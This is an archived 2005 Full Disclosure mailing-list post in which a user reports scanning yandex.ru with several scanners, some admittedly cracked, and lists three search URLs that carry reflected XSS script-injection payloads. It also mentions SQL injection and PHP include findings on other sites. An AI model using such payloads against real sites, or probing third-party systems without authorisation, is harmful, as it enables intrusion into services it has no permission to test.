Full Disclosure mailing list archives
Re: www.whois.sc
From: "tgoogle" <tgoogle () yandex ru>
Date: Tue, 14 Jun 2005 20:08:27 +0400 (MSD)
Hi all, again! I try use some scanner to find vulnerability in www.yandex.ru site. Sorry, for some programm i use cracked version. Nikto - didn't find any vulnerabilites . www.freescan.ru - I can not scan yandex.ru (my account is blocked) Ns-stealth - didn't find any vulnerabilites. AppScan QA (http://www.watchfire.com/) - didn't find any vulnerabilites . Maxpatrol (www.Maxpatrol.com, cracked version) - find 34 XSS vulnerabilites. some expamle: http://www.yandex.ru/yandsearch?text=1&holdreq="><script>alert('maxpatrol.com')</script>&rstr=-213---&stype=www&how=tm http://www.yandex.ru/cgi-bin/customize.pl?yxqs="><script>alert('maxpatrol.com')</script>&nl=0&text=1&how=tm http://www.yandex.ru//yandsearch?how=tm"><script>alert('maxpatrol.com')</script>.com&nl=0&stype=1&text=1&rstr=-225 and more other... I try scan some other site with similar result - Maxpatrol find some SQL injection and PHP include in unknown script. Thanks alex and Gordeychik. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- www.whois.sc Jimmy Stewpot (Jun 14)
- Re: www.whois.sc Andreas Gietl (Jun 14)
- Re: www.whois.sc tgoogle (Jun 14)
- Re: www.whois.sc Florian Weimer (Jun 14)
- Re: www.whois.sc Andreas Gietl (Jun 14)